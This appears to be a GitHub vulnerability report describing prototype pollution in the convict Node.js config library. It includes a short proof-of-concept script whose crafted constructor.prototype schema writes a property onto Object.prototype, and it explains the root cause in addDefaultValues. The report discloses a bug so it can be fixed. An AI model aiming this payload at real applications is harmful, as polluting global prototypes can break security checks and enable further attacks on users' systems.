-
Notifications
You must be signed in to change notification settings - Fork 140
Description
Summary (CWE-1321 Prototype Pollution)
convict(schema) becomes globally polluted when the schema object contains a constructor.prototype.* path. During schema normalization/default propagation, the code walks into built-in properties and ends up writing to Object.prototype, which then reflects on all plain objects.
Steps to Reproduce (PoC)
Run in an isolated process; cleanup is included.
// poc.js
const convict = require('convict');
function clean() { try { delete Object.prototype.polluted; } catch {} }
clean();
try {
convict({
constructor: {
prototype: { polluted: 'pwned!' }
}
});
} catch (_) {
// schema format errors may be thrown; pollution can still occur earlier
}
console.log('[PoC1] polluted =', ({}).polluted); // "pwned!" → polluted
clean();
Expected / Actual
Expected: no write to Object.prototype from user-provided schema keys.
Actual: ({}).polluted === "pwned!".
Root Cause
During schema expansion / default injection (addDefaultValues) the implementation recurses through existing values of intermediate nodes. If a schema uses constructor → prototype, the recursion walks into Object function and its prototype, and the leaf write hits Object.prototype (global pollution). String-path filtering in set() doesn’t cover this initialization path.